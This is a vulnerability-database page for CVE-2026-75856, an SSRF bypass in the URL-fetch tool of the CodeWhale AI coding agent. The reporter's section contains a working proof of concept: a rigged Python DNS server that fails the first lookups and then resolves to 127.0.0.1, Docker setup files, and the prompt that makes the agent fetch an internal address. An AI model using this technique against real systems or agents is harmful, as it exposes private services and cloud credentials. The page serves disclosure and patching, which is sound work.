Vulnerability-Lookup

GHSA-6V2G-FPXH-PMMH

Vulnerability from github – Published: 2026-09-04 18:05 – Updated: 2026-09-04 18:05

Summary

CodeWhale: SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning

Details

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

Summary

DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

Details

Simplified attack scenario: 1. Attacker asks agent to visit the mydomain.com. 2. CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check). 3. CodeWhale allows the code to continue as it expects it request to fail again. 4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1) 5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

PoC

This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dns_resolver.py:

#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.

Usage:
    pip install dnslib
    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
    python dns_resolver.py --port 5353   # unprivileged port for testing
"""

import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA


UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver


def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
    """Drop all AAAA requests."""
    if QTYPE[query.q.qtype] == "AAAA":
        reply = query.reply()
        reply.header.rcode = 3  # NXDOMAIN
        return reply
    return None

def handle_blocked(query: DNSRecord) -> DNSRecord | None:
    """Block domains by returning NXDOMAIN."""
    blocked = {"blocked.example.com.", "ads.tracker.io."}
    qname = str(query.q.qname)
    if qname in blocked:
        print(f"  [BLOCKED] {qname}")
        reply = query.reply()
        reply.header.rcode = 3          # NXDOMAIN
        return reply
    return None

failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]
        print(f"  [OVERRIDE] {qname} → {ip}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
        reply.header.ra = 0
        return reply

    return None


def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
    """Rewrite a CNAME transparently (resolve alias locally)."""
    rewrites: dict[str, str] = {
        # "old.internal.": "new.internal.",
    }
    qname = str(query.q.qname)
    if qname in rewrites:
        target = rewrites[qname]
        print(f"  [REWRITE] {qname} → {target}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
        return reply
    return None


def handle_upstream(query: DNSRecord) -> DNSRecord | None:
    """Forward the query to the upstream resolver."""
    try:
        raw = query.pack()
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(3)
        sock.sendto(raw, UPSTREAM_DNS)
        data, _ = sock.recvfrom(4096)
        sock.close()
        reply = DNSRecord.parse(data)
        print(f"  [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
        return reply
    except Exception as e:
        print(f"  [UPSTREAM ERROR] {e}")
        return None


# Chain of responsibility — handlers are tried in order; first non-None wins.
HANDLERS = [
    handle_blocked,
    handle_overrides,
    handle_rewrite,
    handle_upstream,
]


# ─────────────────────────────────────────────────────────────────────────────
#  Server plumbing — no need to edit below this line
# ─────────────────────────────────────────────────────────────────────────────

def resolve(data: bytes) -> bytes:
    try:
        query = DNSRecord.parse(data)
        qname = str(query.q.qname)
        qtype = QTYPE[query.q.qtype]
        print(f"[QUERY] {qtype} {qname}")

        for handler in HANDLERS:
            reply = handler(query)
            if reply is not None:
                return reply.pack()

        # Fallback: SERVFAIL
        reply = query.reply()
        reply.header.rcode = 2
        return reply.pack()

    except Exception as e:
        print(f"[ERROR] Failed to parse/handle query: {e}")
        return b""


def udp_server(host: str, port: int) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    print(f"DNS resolver listening on {host}:{port} (UDP)")
    while True:
        data, addr = sock.recvfrom(4096)
        threading.Thread(
            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
            daemon=True,
        ).start()


def tcp_server(host: str, port: int) -> None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((host, port))
    srv.listen(10)
    print(f"DNS resolver listening on {host}:{port} (TCP)")

    def handle_conn(conn: socket.socket) -> None:
        with conn:
            length_bytes = conn.recv(2)
            if len(length_bytes) < 2:
                return
            length = int.from_bytes(length_bytes, "big")
            data = conn.recv(length)
            response = resolve(data)
            conn.sendall(len(response).to_bytes(2, "big") + response)

    while True:
        conn, _ = srv.accept()
        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()


def main() -> None:
    parser = argparse.ArgumentParser(description="Local DNS resolver")
    parser.add_argument("--host", default="0.0.0.0", help="Bind address")
    parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
    args = parser.parse_args()

    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
    t_udp.start()
    t_tcp.start()

    try:
        t_udp.join()
    except KeyboardInterrupt:
        print("\nShutting down.")


if __name__ == "__main__":
    main()

Docker file to build it(dnser/Dockerfile):

FROM python:3.12-slim

WORKDIR /app

RUN pip install dnslib --no-cache-dir

COPY dns_resolver.py .

EXPOSE 53/udp
EXPOSE 53/tcp

CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]

Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:

docker-compose.yml:

services:
  dns-resolver:
    build: dnser
    container_name: dns-resolver
    restart: unless-stopped
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  a:
    image: ghcr.io/hmbown/deepseek-tui:latest
    container_name: tui
    environment:
      DEEPSEEK_API_KEY: sk-
    stdin_open: true
    tty: true
    dns: 10.0.1.2
    networks:
      - dns-net
    depends_on:
      - dns-resolver
    sysctls:
      net.ipv6.conf.all.disable_ipv6: 1



networks:
  dns-net:
    driver: bridge
    ipam:
      config:
        - subnet: 10.0.1.0/24

Then to check everything we could simply: sudo docker attach tui Prompt: read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran python3 -m http.server 80 as root to make sure the request can actually read content.

To read the logs from dns-resolver: sudo docker logs -f dns-resolver

Impact

Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.5"
            },
            {
              "last_affected": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.5"
            },
            {
              "fixed": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "codewhale-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "codewhale"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-04T18:05:12Z",
    "nvd_published_at": "2026-08-18T16:18:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n### Summary\nDNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it\u0027s possible to bypass the logic.\n\n\n### Details\nSimplified attack scenario:\n1. Attacker asks agent to visit the `mydomain.com`.\n2. CodeWhale tries to resolve the IP of `mydomain.com`, however, the custom DNS server that\u0027s controlled by the attacker marks the request DNS\u200c query as failed (Time of Check). \n3. CodeWhale allows the code to continue as it expects it request to fail again.\n4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)\n5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.\n\nIn the [DNS-pinning](https://github.com/Hmbown/CodeWhale/blob/8dff2f7525ead210a01347b48f53ae3f20d094ec/crates/tui/src/tools/fetch_url.rs#L362) section, when DNS fails, the code is allowed to continue as it\u0027s expected to fail. However\n\n### PoC\nThis is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS\u200c server(for PoC, should be placed in `dnser/dns_resolver.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal DNS Resolver \u2014 customizable request/response handling.\nUses only the standard library + dnslib.\n\nUsage:\n    pip install dnslib\n    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default\n    python dns_resolver.py --port 5353   # unprivileged port for testing\n\"\"\"\n\nimport argparse\nimport socket\nimport threading\nfrom dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA\n\n\nUPSTREAM_DNS = (\"8.8.8.8\", 53)   # fallback resolver\n\n\ndef handle_no_aaaa(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Drop all AAAA requests.\"\"\"\n    if QTYPE[query.q.qtype] == \"AAAA\":\n        reply = query.reply()\n        reply.header.rcode = 3  # NXDOMAIN\n        return reply\n    return None\n\ndef handle_blocked(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Block domains by returning NXDOMAIN.\"\"\"\n    blocked = {\"blocked.example.com.\", \"ads.tracker.io.\"}\n    qname = str(query.q.qname)\n    if qname in blocked:\n        print(f\"  [BLOCKED] {qname}\")\n        reply = query.reply()\n        reply.header.rcode = 3          # NXDOMAIN\n        return reply\n    return None\n\nfailer = 0\nMAX_FAIL = 2\nMAX_SUCCESS = 2\n\ndef handle_overrides(query: DNSRecord) -\u003e DNSRecord | None:\n    global failer\n    \"\"\"Return hardcoded A records for specific names (split-horizon / local dev).\"\"\"\n    overrides: dict[str, str] = {\n        \"myapp.local.\":     \"127.0.0.1\",\n        \"devserver.local.\": \"192.168.1.100\",\n        \"mydomain.com.\":    \"127.0.0.1\",\n    }\n    qname = str(query.q.qname)\n    qtype = QTYPE[query.q.qtype]\n\n    if qname in overrides and qtype == \"A\":\n        failer += 1\n        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle\n        should_fail = cycle_pos \u003c MAX_FAIL\n\n        print(f\"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}\")\n\n        if should_fail:\n            reply = query.reply()\n            reply.header.rcode = 3\n            reply.header.ra = 0\n            return reply\n\n        ip = overrides[qname]\n        print(f\"  [OVERRIDE] {qname} \u2192 {ip}\")\n        reply = query.reply()\n        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))\n        reply.header.ra = 0\n        return reply\n\n    return None\n\n\ndef handle_rewrite(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Rewrite a CNAME transparently (resolve alias locally).\"\"\"\n    rewrites: dict[str, str] = {\n        # \"old.internal.\": \"new.internal.\",\n    }\n    qname = str(query.q.qname)\n    if qname in rewrites:\n        target = rewrites[qname]\n        print(f\"  [REWRITE] {qname} \u2192 {target}\")\n        reply = query.reply()\n        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))\n        return reply\n    return None\n\n\ndef handle_upstream(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Forward the query to the upstream resolver.\"\"\"\n    try:\n        raw = query.pack()\n        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        sock.settimeout(3)\n        sock.sendto(raw, UPSTREAM_DNS)\n        data, _ = sock.recvfrom(4096)\n        sock.close()\n        reply = DNSRecord.parse(data)\n        print(f\"  [UPSTREAM] {query.q.qname} \u2192 {UPSTREAM_DNS[0]}\")\n        return reply\n    except Exception as e:\n        print(f\"  [UPSTREAM ERROR] {e}\")\n        return None\n\n\n# Chain of responsibility \u2014 handlers are tried in order; first non-None wins.\nHANDLERS = [\n    handle_blocked,\n    handle_overrides,\n    handle_rewrite,\n    handle_upstream,\n]\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n#  Server plumbing \u2014 no need to edit below this line\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef resolve(data: bytes) -\u003e bytes:\n    try:\n        query = DNSRecord.parse(data)\n        qname = str(query.q.qname)\n        qtype = QTYPE[query.q.qtype]\n        print(f\"[QUERY] {qtype} {qname}\")\n\n        for handler in HANDLERS:\n            reply = handler(query)\n            if reply is not None:\n                return reply.pack()\n\n        # Fallback: SERVFAIL\n        reply = query.reply()\n        reply.header.rcode = 2\n        return reply.pack()\n\n    except Exception as e:\n        print(f\"[ERROR] Failed to parse/handle query: {e}\")\n        return b\"\"\n\n\ndef udp_server(host: str, port: int) -\u003e None:\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    sock.bind((host, port))\n    print(f\"DNS resolver listening on {host}:{port} (UDP)\")\n    while True:\n        data, addr = sock.recvfrom(4096)\n        threading.Thread(\n            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),\n            daemon=True,\n        ).start()\n\n\ndef tcp_server(host: str, port: int) -\u003e None:\n    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    srv.bind((host, port))\n    srv.listen(10)\n    print(f\"DNS resolver listening on {host}:{port} (TCP)\")\n\n    def handle_conn(conn: socket.socket) -\u003e None:\n        with conn:\n            length_bytes = conn.recv(2)\n            if len(length_bytes) \u003c 2:\n                return\n            length = int.from_bytes(length_bytes, \"big\")\n            data = conn.recv(length)\n            response = resolve(data)\n            conn.sendall(len(response).to_bytes(2, \"big\") + response)\n\n    while True:\n        conn, _ = srv.accept()\n        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(description=\"Local DNS resolver\")\n    parser.add_argument(\"--host\", default=\"0.0.0.0\", help=\"Bind address\")\n    parser.add_argument(\"--port\", type=int, default=53, help=\"Bind port (use 5353 for unprivileged)\")\n    args = parser.parse_args()\n\n    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)\n    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)\n    t_udp.start()\n    t_tcp.start()\n\n    try:\n        t_udp.join()\n    except KeyboardInterrupt:\n        print(\"\\nShutting down.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nDocker file to build it(`dnser/Dockerfile`):\n```bash\nFROM python:3.12-slim\n\nWORKDIR /app\n\nRUN pip install dnslib --no-cache-dir\n\nCOPY dns_resolver.py .\n\nEXPOSE 53/udp\nEXPOSE 53/tcp\n\nCMD [\"python\", \"-u\", \"dns_resolver.py\", \"--host\", \"0.0.0.0\", \"--port\", \"53\"]\n```\n\nThen to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:\n\n\n\n`docker-compose.yml`:\n```yaml\nservices:\n  dns-resolver:\n    build: dnser\n    container_name: dns-resolver\n    restart: unless-stopped\n    networks:\n      dns-net:\n        ipv4_address: 10.0.1.2\n\n  a:\n    image: ghcr.io/hmbown/deepseek-tui:latest\n    container_name: tui\n    environment:\n      DEEPSEEK_API_KEY: sk-\n    stdin_open: true\n    tty: true\n    dns: 10.0.1.2\n    networks:\n      - dns-net\n    depends_on:\n      - dns-resolver\n    sysctls:\n      net.ipv6.conf.all.disable_ipv6: 1\n\n\n\nnetworks:\n  dns-net:\n    driver: bridge\n    ipam:\n      config:\n        - subnet: 10.0.1.0/24\n```\n\nThen to check everything we could simply:\n`sudo docker attach tui`\nPrompt: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output`\nThe tool will allow the request to go through 127.0.0.1. To make sure it\u0027s not a false-positive I\u0027ve also installed python in CodeWhale container and ran `python3 -m http.server 80` as root to make sure the request can actually read content.\n\nTo read the logs from dns-resolver:\n`sudo docker logs -f dns-resolver`\n\n\n### Impact\nSimilar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.",
  "id": "GHSA-6v2g-fpxh-pmmh",
  "modified": "2026-09-04T18:05:12Z",
  "published": "2026-09-04T18:05:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75856"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Hmbown/CodeWhale"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CodeWhale: SSRF\u200c bypass - TOCTOU on DNS failure for DNS pinning"
}

CVE-2026-75856 (GCVE-0-2026-75856)

Vulnerability from cvelistv5 – Published: 2026-08-18 15:21 – Updated: 2026-08-18 19:02

Title

CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU

Summary

CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.

Severity

9.2 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-18 19:01 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 6634 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/Hmbown/CodeWhale/security/advi…	vendor-advisory
https://github.com/Hmbown/CodeWhale/commit/26de44…	patch
https://www.vulncheck.com/advisories/codewhale-be…	third-party-advisory

Impacted products

2 products

Vendor	Product	Version
Hmbown	CodeWhale	Affected: 0.8.5 , < 0.8.41 (semver) Unaffected: 0.8.41 (semver)
Hmbown	CodeWhale	Affected: 0.8.41 , < 0.8.64 (semver) Unaffected: 0.8.64 (semver)

Date Public

2026-07-16 00:00

Credits

JafarAkhondali

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-75856",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-18T19:01:51.289617Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-18T19:02:07.303Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:cargo/deepseek-tui",
          "product": "CodeWhale",
          "vendor": "Hmbown",
          "versions": [
            {
              "lessThan": "0.8.41",
              "status": "affected",
              "version": "0.8.5",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "0.8.41",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/deepseek-tui",
          "product": "CodeWhale",
          "vendor": "Hmbown",
          "versions": [
            {
              "lessThan": "0.8.41",
              "status": "affected",
              "version": "0.8.5",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "0.8.41",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:cargo/codewhale-tui",
          "product": "CodeWhale",
          "vendor": "Hmbown",
          "versions": [
            {
              "lessThan": "0.8.64",
              "status": "affected",
              "version": "0.8.41",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "0.8.64",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/codewhale",
          "product": "CodeWhale",
          "vendor": "Hmbown",
          "versions": [
            {
              "lessThan": "0.8.64",
              "status": "affected",
              "version": "0.8.41",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "0.8.64",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "JafarAkhondali"
        }
      ],
      "datePublic": "2026-07-16T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.2,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-18T15:21:55.627Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-6v2g-fpxh-pmmh)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh"
        },
        {
          "name": "Patch Commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e"
        },
        {
          "name": "VulnCheck Advisory: CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"
        }
      ],
      "title": "CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-75856",
    "datePublished": "2026-08-18T15:21:55.627Z",
    "dateReserved": "2026-08-18T11:03:08.682Z",
    "dateUpdated": "2026-08-18T19:02:07.303Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-6V2G-FPXH-PMMH

Maintainer resolution

Summary

Details

PoC

Impact

CVE-2026-75856 (GCVE-0-2026-75856)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour